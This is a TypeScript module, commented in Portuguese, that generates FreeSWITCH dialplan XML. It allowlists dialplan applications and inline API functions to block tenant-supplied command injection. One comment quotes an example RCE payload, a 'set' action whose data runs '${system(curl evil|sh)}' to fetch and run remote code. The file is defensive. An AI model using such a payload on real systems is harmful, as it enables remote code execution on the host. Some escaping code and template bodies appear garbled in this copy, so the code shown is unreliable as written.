function xmlEscape(value: string): string { return value .replace(/&/g, "&") .replace(//g, ">") .replace(/"/g, """) .replace(/'/g, "'"); } /** * Applications de dialplan permitidas (agente.md secao 180: nunca deixar * input de tenant virar comando arbitrário no FreeSWITCH — "system", * "exec", "socket" etc. ficam de fora de propósito, mesmo que existam * módulos capazes de rodá-las). */ export const ALLOWED_DIALPLAN_APPLICATIONS = [ "answer", "pre_answer", "bridge", "hangup", "park", "playback", "ring_ready", "respond", "set", "export", "transfer", "sleep", "record_session", // Group pickup (agente.md secao 178, PHASE 52) — só recebe o nome do // grupo como texto (ou `${user_data(...)}`, já auditado acima), nunca // um comando; mesmo padrão de risco zero dos outros já permitidos. "pickup", // IVR (PHASE 56) — coleta N dígitos numa variable (`min max tries // timeout terminators file invalid_file var_name regexp // digit_timeout`), nunca executa nada; mesmo padrão de risco zero. "play_and_get_digits", ] as const; export type AllowedDialplanApplication = (typeof ALLOWED_DIALPLAN_APPLICATIONS)[number]; /** * Achado real de segurança (secao 180): o allowlist de `application` acima * NÃO bastava. FreeSWITCH expande `${nome(args)}` (chamada de API) dentro * de qualquer atributo `data` em tempo de chamada — inclusive de uma * application "segura" já permitida como `set`/`export`/`playback`. Com * `mod_commands` carregado (está, ver infrastructure/freeswitch), a API * `system`/`bg_system` roda comando de shell arbitrário no host do * FreeSWITCH. Sem este segundo allowlist, `{"application":"set","data": * "x=${system(curl evil|sh)}"}` era RCE completo, alcançável por qualquer * Tenant Admin com `freeswitch.configure` (secao 144). `${variavel}` SEM * parênteses (ex.: `${destination_number}`) nunca é bloqueado — é só * interpolação de valor, não chamada de API. */ export const ALLOWED_INLINE_API_FUNCTIONS = [ "user_data", // lookup de variável do directory de outro usuário (pickup group) "escape", "url_encode", "url_decode", "regex", "strftime", ] as const; const INLINE_FUNCTION_CALL_PATTERN = /\$\{\s*([a-zA-Z_][a-zA-Z0-9_]*)\s*\(/g; /** Devolve os nomes de função `${nome(...)}` usados em `text` que NÃO * estão no allowlist acima — vazio = texto seguro. Usado em `data` de * action/anti-action (nunca em `conditionExpr`, que é regex estático, * nunca expandido pelo FreeSWITCH). */ export function findDisallowedInlineFunctionCalls(text: string): string[] { const found = new Set(); for (const match of text.matchAll(INLINE_FUNCTION_CALL_PATTERN)) { const name = match[1]; if (!(ALLOWED_INLINE_API_FUNCTIONS as readonly string[]).includes(name)) { found.add(name); } } return Array.from(found); } export const ALLOWED_CONDITION_FIELDS = [ "destination_number", "caller_id_number", "caller_id_name", "context", "network_addr", "source", ] as const; export type AllowedConditionField = (typeof ALLOWED_CONDITION_FIELDS)[number]; const VARIABLE_CONDITION_FIELD_PATTERN = /^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/; /** * PHASE 56 (IVR): além dos campos fixos acima, aceita um `${variavel}` * simples (ex.: `${ivr_choice}`, o dígito que `play_and_get_digits` * guardou) — é assim que o dialplan ramifica por dígito coletado. O * regex exige identificador puro, sem parênteses — nunca bate com * `${funcname(...)}` (chamada de API), então o mesmo risco de RCE já * fechado pra `data` (secao 180) não se aplica aqui: não tem função pra * chamar, só interpolação de valor, igual `${destination_number}` já é. */ export function isAllowedConditionField(field: string): boolean { return (ALLOWED_CONDITION_FIELDS as readonly string[]).includes(field) || VARIABLE_CONDITION_FIELD_PATTERN.test(field); } export interface DialplanAction { application: AllowedDialplanApplication; data?: string; } export interface DialplanExtensionInput { name: string; // string, não AllowedConditionField: PHASE 56 (IVR) também aceita // `${variavel}` — validado na entrada da API via isAllowedConditionField, // não pelo tipo (ver comentário acima da função). conditionField: string; conditionExpr: string; actions: DialplanAction[]; antiActions?: DialplanAction[]; continueOnFalse: boolean; order: number; } function actionsXml(tag: "action" | "anti-action", actions: DialplanAction[] | undefined): string { if (!actions || actions.length === 0) return ""; return actions .map( (a) => ` <${tag} application="${xmlEscape(a.application)}"${ a.data !== undefined ? ` data="${xmlEscape(a.data)}"` : "" }/>`, ) .join("\n"); } /** * XML de dialplan (agente.md secao 43-44). Uma condição por extension — * simplificação deliberada em relação ao FreeSWITCH puro (que permite * múltiplas por extension); cobre o editor estruturado descrito * na especificação sem a complexidade de encadeamento arbitrário. */ /** * Contexto sintético "inbound" (PHASE 56, docs/INBOUND_ROUTES.md) — o * profile "external" do FreeSWITCH aponta pra este contexto (renomeado do * "public" vanilla no Dockerfile), que NÃO tem arquivo estático, então * toda chamada de entrada por tronco passa por aqui via mod_xml_curl. * Diferente do dialplan do tenant (`buildDialplanXml`, versionado, * editável), este XML é gerado direto pela resolução de * `InboundRoute.didNumber` — nunca guardado em `dialplan_versions`. Faz só * duas coisas: injeta `b2bcall_tenant_id` (nenhuma chamada de entrada * carrega isso até aqui) e transfere pro destino real do tenant — o * `transfer` dispara uma nova resolução de dialplan (agora já com a * variable presente), reaproveitando 100% do dialplan normal do tenant * (ex.: a regra "Discagem interna" já testada pro pickup de grupo). * * `domain_name` TAMBÉM precisa ser setado explicitamente — achado real * testando com uma chamada de verdade: sem isso, o `bridge * data="user/${"${destination_number}"}@${"${domain_name}"}"` da * "Discagem interna" resolve `${"${domain_name}"}` pro domínio GLOBAL * default (`$${domain}` do vars.xml, ex.: "b2bcall.local"), nunca pro * domínio de verdade do tenant — a leg de entrada não é um ramal * registrado, então nada preenche essa variable sozinho. */ export function buildInboundRouteXml(params: { tenantId: string; domain: string; destinationNumber: string; destinationContext: string; }): string { return `
`; } export function buildDialplanXml(context: string, extensions: DialplanExtensionInput[]): string { const sorted = [...extensions].sort((a, b) => a.order - b.order); const extensionsXml = sorted .map((ext) => { const actionsBlock = actionsXml("action", ext.actions); const antiActionsBlock = actionsXml("anti-action", ext.antiActions); return ` ${actionsBlock}${antiActionsBlock ? `\n${antiActionsBlock}` : ""} `; }) .join("\n"); return `
${extensionsXml}
`; }